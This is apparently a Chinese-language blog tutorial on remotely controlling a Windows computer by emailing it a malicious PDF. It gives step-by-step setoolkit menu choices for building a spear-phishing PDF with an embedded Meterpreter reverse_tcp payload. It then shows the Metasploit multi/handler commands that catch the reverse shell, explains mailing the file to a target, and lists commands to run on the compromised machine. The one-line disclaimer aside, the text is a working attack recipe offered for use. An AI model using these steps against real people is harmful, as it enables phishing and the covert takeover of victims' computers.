准备工作
1.您可以通过Kali Linux中的Metasploit框架完成监听
2.当然,你也可以使用你的windows电脑,安装2022年最新专业版Metasploit框架
3.甚至,你还可以通过安卓手机(Termux)来安装Metasploit框架
4.当然,苹果手机的ISH也可以安装Metasploit框架
docker run -d --name postgres postgres && docker start postgres
docker run -it --link postgres:db fcolista/alpine-metasploit
生成反弹shell的恶意pdf样本
我们这里以虚拟机中的Kali Linux为例
![图片[1]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124151822624-1024x587.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
我们打开终端,使用管理员权限运行社会工程学工具setoolkit
sudo setoolkit
然后输入y同意条款(社会工程学工具请不要用于非法用途)
![图片[2]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152128381.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
输入1,选择Social-Engineering Attacks(社会工程学攻击)
![图片[3]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152201211.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
继续输入1,选择鱼叉式钓鱼攻击
![图片[4]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152247892.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
输入2,Create a FileFormat Payload(创建一个文件格式的payload)
![图片[5]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152321835.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后输入13,选择Adobe PDF Embedded EXE Social Engineering
![图片[6]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152410632.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
接下来按需选择(选择1的话需要你自己提供一个原始的pdf文件,选择2则是空文件)
我们这里选择1
![图片[7]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152509612.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
我们这里准备了一个pdf文件
![图片[8]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152719953-1024x375.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
放到了桌面/home/fancypig/桌面/fancypig.pdf的位置
![图片[9]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124152929539.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
选择2,Windows Meterpreter Reverse_TCP
![图片[10]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124153019667.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
输入kali linux虚拟机的ip地址,我们这里是192.168.244.128
![图片[11]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124153145250.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
端口我们和视频里的保持一致,也写的4455
![图片[12]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124153220483.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后生成,我们输入2,输入一个酷酷的名字,我这里就用fancypig_bot.pdf
![图片[13]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124153436820.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后文件其实就已经生成了,接下来有2种选择,你可以直接拿文件用我们常用的邮箱投递,或者用gmail或者邮件服务器发送,如果是后者,请继续
![图片[14]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124154602852.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
如果你觉得太麻烦了,我们可以直接把文件拷出来,我们现在不清楚文件的位置,可以模糊搜索
我们知道刚才生成的文件名字是fancypig_bot.pdf,因此直接在根目录搜索就行了
find / -name "fancypig_bot.pdf"
![图片[15]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124154713104.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后找到了位置,我们将文件复制到桌面
cp /root/.set/fancypig_bot.pdf /home/fancypig/桌面
![图片[16]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124154850189.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
可以看到外观上没有区别,但是里面已经混合了我们的恶意payload
监听并完成远控
我们现在使用Metasploit框架进行监听
sudo msfconsole
然后输入
use exploit/multi/handler
![图片[17]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124155123848.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
继续输入
set payload windows/meterpreter/reverse_tcp
然后查看选项
show options
![图片[18]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124155343556.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
然后设置好IP,这里填我们kali linux的IP地址
set LHOST 192.168.244.128
以及端口,我们刚才生成的恶意样本是4455端口,这里也要监听4455端口
最后,运行
run
![图片[19]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124155607570.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
接下来我们需要等待,邮件投递过去,我们的目标使用windows电脑打开我们的pdf文件,然后我们就可以完整的进行远程控制了!
成功连上进行远程控制
常见的windows命令,比方说使用chrome浏览器打开X黑手官网
start xheishou.com
再比方说,创建并打开一个我们编辑好的记事本内容
notepad.exe C:\fancypig.txt
![图片[21]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124160218669-1024x499.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
当然,还有很多种有趣的玩法,大家可以借此机会好好学习一下windows的DOS命令。
我们在远程控制时,终端里输入的命令,其实就是用cmd执行的,也就是说你在本地可以通过cmd运行命令验证一下命令本身是否正确,能不能成功执行,顺带着学习一下DOS命令!
![图片[22]-如何通过发送一个PDF文件 远程控制整台计算机?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220124160419328.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
暂无评论内容